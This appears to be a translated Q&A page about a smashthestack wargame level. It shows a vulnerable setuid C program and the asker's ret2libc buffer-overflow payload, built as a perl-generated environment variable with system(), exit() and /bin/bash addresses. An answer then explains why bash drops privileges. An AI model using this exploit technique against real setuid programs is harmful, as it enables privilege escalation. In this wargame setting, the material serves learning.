Question

我试图通过基本缓冲区溢出组成的“游戏”http://smashthestack.org/faq.html（通过黑盒服务器上的ssh连接）的级别2。

在目录/ home / level2中（每个级别的目录都有一个包含该级别密码的文件），有一个名为getowner的可执行文件及其源代码：

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

拥有可执行文件的用户是level3

level2@blackbox:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner

因此，如果我可以利用缓冲区溢出并将shell生成为level3，我可以读取文件/ home / level3 / password，获取密码并赢得级别：我是对的吗？

所以

1）我试图在环境变量中上传shellcode并伪造filename变量来修改堆栈中的返回地址以返回shellcode，但正如你所看到的那样

level2@blackbox:~$ readelf -l getowner | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

堆栈中的代码无法执行。

2）然后，我尝试使用Return-to-libc攻击并调用系统（/ bin / bash），但是在生成的shell中我仍然是level2用户：（

level2@blackbox:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
level2@blackbox:~$ ./getowner 
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)

其中0xb7ee59b0在system（）的地址中，0xb7edb420是exit（）的地址，0xbffffe32是字符串/ bin / bash的地址。

我还有其他选择还是错了？

Answer 1

您的第二种方法是正确的，但如果/bin/sh是/bin/dash的符号链接，则应使用/bin/sh或（/bin/bash。）

bash做的第一件事就是将euid权限放到uid。有关详细信息，请参阅this stackexchange答案。

BOF与非exec堆栈

1 个答案: